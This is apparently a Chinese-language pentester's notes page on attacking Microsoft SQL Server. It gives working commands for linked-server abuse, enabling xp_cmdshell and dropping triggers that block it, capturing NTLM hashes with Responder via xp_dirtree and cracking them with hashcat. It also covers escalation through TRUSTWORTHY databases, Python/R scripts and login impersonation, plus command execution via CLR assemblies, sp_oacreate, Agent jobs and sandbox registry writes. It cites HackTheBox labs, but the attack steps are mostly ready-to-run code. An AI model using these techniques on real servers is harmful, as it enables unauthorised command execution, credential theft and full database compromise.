mssql 杂记
mssql 杂记
1.安装mssql服务
我本地环境演示使用的是sql server 2019
安装下面链接教程即可安装
https://www.sqlservertutorial.net/install-sql-server/
如果想开启远程链接需要先打开SQL server 网络配置找到TCP/IP

划到最下面IP ALL,如果没有该选项那就手动慢慢设置
TCP 动态端口设置为空TCP 端口设置为1433

重启Sql server服务

2. mssql常用命令
1 | select @@version; #获取mssql版本 |
3.mssql link服务利用
3.1 环境
演示使用的是hackthebox Endgames P.O.O靶场
3.2 原理
mssql允许创建外部数据源的链接,例如其他sql服务器,Oracle数据库,excel电子表格等,由于常见的错误配置,链接或者链接服务器通常可以利用来遍历数据库链接网络,获取数据,以及部署shell。
mssql如果启动了link(dataaaccess设置为1),则数据库服务器上的每个用户都可以使用该link,不管用户的权限如何(public,sysadmin)都可以使用
3.2 利用
使用select @@servername获取当前服务名,再使用select srvname from sysservers查看可利用的服务

驱使POO_CONFIG向POO_PUBLIC询问POO_CONFIG在POO_PUBLIC服务器的权限
1 | EXECUTE ('EXECUTE (''SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''''SERVER'''');'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG]; |

添加用户
1 | EXECUTE('EXECUTE(''CREATE LOGIN ling WITH PASSWORD = ''''qwe123QWE!@#'''';'') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG] |

msf
1 | use exploit/windows/mssql/mssql_linkcrawler |

参考链接
https://0xdf.gitlab.io/2020/06/08/endgame-poo.html#huh
4.xp_cmdshell
4.1 什么是xp_cmdshell
根据Microsoft 官方文档,xp_cmdshell 是一种生成 Windows 命令 shell 并传入字符串以供执行的功能。它生成的任何输出都以文本行的格式显示。为简化起见,我们可以说它允许数据库管理员直接从SQL Server访问和执行任何外部进程。xp_cmdshell的实现可以追溯到SQL Server 6.5。它旨在使用带有系统命令的 SQL 查询来自动执行需要额外编程和工作的各种任务。现在我们对xp_cmdshell有了一些了解,我们可以了解如何在 SQL 服务器上启用它。
4.2 开启xp_cmdshell
xp_cmdshell在Sql server 2005之前是无需开启的,默认会开启。sql server 2005及以后的版本需要手动开启,默认关闭。开启xp_cmdshell正常来说需要sa(sysadmin)权限
开启xp_cmdshell命令
1 | sp_configure 'show advanced options', '1' |
**Sql server 2008**以及更高版本存在一个触发器,该触发器可以对服务器进行的操作设置一个触发机制。比如限制用户开启xp_cmdshell等

遇到这种情况只要查询触发器名称然后关闭即可
1 | select name from sys.server_triggers; |

参考链接
5.NTLM
5.1 环境
我本地搭建的环境访问smb时,没有接收到NTLM。所以我这里改为使用hackthebox Querier靶机
5.2 利用
当我们登录到目标mssql服务中,但是没有办法开启或使用xp_cmdshell,可以利用smb中继攻击获取NTLM,然后使用hashcat等工具进行破解
开启Responder
1 | python Responder.py -I tun1 |

使用xp_dirtree或xp_fileexist访问smb中继地址
1 | exec xp_dirtree '\\10.10.16.3\share\file' |

hashcat破解NTLM
1 | hashcat -m 5600 ./hash /usr/share/wordlists/rockyou.txt |

6.提权
sql server 权限
如果想了解sql server权限细节建议看下官方手册
6.1可信提权
6.1.1 环境配置
添加ling数据库
1 | -- Create database |

添加一个登录使用的用户
1 | -- Create login |

添加lingUser到db_owner权限
1 | -- Setup LingUser the db_owner role in LingDB; |
查询lingUser是否成功添加到db_owner权限
1 | -- Verify the user was added as db_owner |

将LingDB数据库设置为trusted
1 | ALTER DATABASE LingDb SET TRUSTWORTHY ON |
查询Sql Server中的所有数据库,并且图下is_trustworthy_on应该显示为1

启动xp_cmdshell,为了实验方便所以这里先启动,在实战中攻击者是由可能启动的
1 | -- Enable show options |

6.1.2 利用
验证一下我们当前权限
使用xp_cmdshell失败,提示我们没有权限

查看我们当前权限,显示我们非管理员
1 | SELECT is_srvrolemember('sysadmin') |

现在验证权限完毕,开始
先选择LingDB数据库,然后将lingUser添加到sysadmin
如果sp_elevate_me对象已经存在,只需要重新另起一个即可,比如sp_elevate_me1
1 | USE LingDB |

lingUser添加到sysadmin后,我们当前还没获得管理权限,还需要进行下面两步操作
1 | USE LingDB |

进行上面的操作后我们当前就变成管理权限

Metasploit
除上面介绍的手动提权外,你还可以使用Metasploit 进行自动提权
1 | use auxiliary/admin/mssql/mssql_escalate_dbowner |
6.1.3 原理
受信任的低权限用户执行一些模块时,会被视为高权限执行的。但是执行这些模块需要一定的权限.

参考链接
6.2 语言提权
Sql server 2017(14.x)及更高版本都可以使用一个叫机器学习服务的功能,这个功能会给用户选择安装python或R语言。利用语言提权需要db_owner权限才可以执行,同时需要sql server启动Launchpad才能利用。
6.2.1 环境安装
检测外部脚本是否可以启动,同时将config_value、run_value设置为1
1 | #检测外部脚本是否可以启动 |

将sql Server Launchpad设置为自动启动模式,设置完后还需要手动启动一下

重启sql server
6.2.2 python 提权
1 | EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");'; |

6.2.3 R 提权
1 | EXECUTE sp_execute_external_script @language = N'R', @script = N'system("whoami")'; |

6.3 mssql 模拟登录提权
6.3.1 环境配置
创建4个用户
1 | -- Create login 1 |
给ling1赋予ling2、3和sa的登录的模拟权限
1 | -- Grant ling1 impersonate privilege on ling2, ling3, and sa |
6.3.2 利用
使用ling1登录到sql server
搜索可以被冒用的用户
1 | SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' |

验证当前权限
1 | SELECT SYSTEM_USER |

冒用sa用户
1 | EXECUTE AS LOGIN = 'sa' |

Metasploit
mssql_escalate_execute_as是通过登录mssql进行提权
mssql_escalate_execute_as_sqli则是通过注入方式进行提权
1 | auxiliary/admin/mssql/mssql_escalate_execute_as |
模拟登录除了提权之外还有别的利用方式,比如以系统管理员模拟SQL登录、域管理员模拟为系统管理员等
6.3.3 原理
SQL SERVER为了方便开发人员临时使用其他账号权限而设置的一个功能,攻击者可以利用该功能进行提权。这种类型是否算是漏洞?这个见仁见智。
参考链接
7.CLR
7.1 什么是CLR
Common Language Runtime(CLR)是 Microsoft 作为其 Windows 操作系统的一部分提供的一项功能,允许执行与 .NET Framework 兼容的软件。此运行时环境负责实现 .NET 程序,包括已编译的 ASP.NET 页面和 Mono 应用程序。它由 .NET Framework 和 Windows 内核使用,并已被 Java ME、Apache Harmony 和 Android 等其他操作系统采用。它通常被认为是 Java 虚拟机 (JVM) 的更稳定和功能齐全的替代品。它还管理 Microsoft 操作系统的代码执行环境。
这些托管代码被编译并由单元进一步使用。这些单元称为装配。这些程序集包含大量 DLL 或 EXE 文件。EXE 文件可以自行执行,而 DLL 文件需要托管在应用程序中。如果管理得当,这些 DLL 文件也可以由MS-SQL服务器强制执行。CLR 通过程序集加载从不同进程接收已编译的应用程序或程序集,然后在隔离的执行环境中执行它们以确保它们的安全性和完整性。借助 CLR,可以编写存储过程、用户定义函数、用户定义类型等。
7.2 环境安装
启动Facets

选择最后的外围应用配置器

将ClrIntegrationEnabled设置为True

7.3 创建DLL
打开Visual Studio 选择创建新项目

进入项目模块选择时,选择C#,找到.NET Framework

配置项目信息,开始创建

生成dll文件

把dll文件上传到目标
7.4 利用
手动利用
在数据库>>系统数据库>>msdb>>可编程性>>程序集右键打开新建程序集

设置权限集为无限制,添加程序集路径

添加完成可以在程序集看到添加的dll
启动lingdll
1 | CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [lingdll].[StoredProcedures].[cmd_exec]; |
启动dll后就可以运行命令
1 | cmd_exec 'whoami' |

如果后面想删除加载的dll可以运行下面命令
1 | DROP PROCEDURE cmd_exec |
命令加载dll
选择msdb数据库

启动CLR 集成
1 | EXEC sp_configure 'clr enabled', 1; |

查询是否启动CLR
使用mssqlclint是看不到返回结果,使用其他如Navicat可以看到结果
1 | SELECT * FROM sys.configurations WHERE name = 'clr%20enabled'; |

value显示为1时,代表CLR集成已启用
启动可信赖属性
1 | ALTER DATABASE msdb SET TRUSTWORTHY ON |
查询可信赖属性是否启动成功
1 | select name, is_trustworthy_on from sys.databases |

当msdb值为1时,意味着该属性已经启用
加载dll文件
1 | CREATE ASSEMBLY lingdll FROM 'c:\temp\lingdll.dll' WITH PERMISSION_SET = UNSAFE; |
加载dll遇到说程序集不受信任,可以换成Navicat重新加载,也可以给程序集加上哈希
加上hash这个我还没了解细节,只是发现加上可以加载dll文件
1 | EXEC sp_add_trusted_assembly 0x8893AD6D78D14EE43DF482E2EAD44123E3A0B684A8873C3F7BF3B5E8D8F09503F3E62370CE742BBC96FE3394477214B84C7C1B0F7A04DCC788FA99C2C09DFCCC, |
创建cmd_exec执行命令
1 | CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [lingdll].[StoredProcedures].[cmd_exec]; |

PowerUpSQL
1 | Import-Module .\PowerUpSQL.ps1 |

生成的dll文件也可以像上面那样利用,现在介绍另一种利用方式
打开生成的runcmd.txt

使用Navicat链接服务器,mssqlclient.py可能会失败
输入txt内容并运行

PowerUpSQL(远程)
1 | Import-Module .\PowerUpSQL.ps1 |

参考链接
https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-clr-assembly/
8.SP_OACREATE
有时候xp_cmdshell组件被删除或被禁用后,我们可以使用SP_OACREATE来执行系统命令,但是使用SP_OACREATE执行命令是无回显的。
8.1 检测SP_OACREATE状态
使用mssqlclient返回结果会有点乱
1 | select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' |

使用count判断sp_oacreate即可
1 | select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' |

8.2 启动SP_OACREATE
1 | EXEC sp_configure 'show advanced options', 1; |

8.3 利用
建议先使用DNSlog检测漏洞是否存在
可以在服务器上开启smb服务,让执行结果写入服务器
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\temp\1.txt' |


参考链接
https://xz.aliyun.com/t/7534#toc-9
9.Agent Job
我本地环境启动sql server 代理失败,只能简单记录一下命令。后续再补上细节
1 | USE msdb; |
参考链接
https://xz.aliyun.com/t/7534#toc-20
10.沙盒执行命令
本地没有相关漏洞的环境只能简单记录命令,后续再补细节
1 | exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 |
参考链接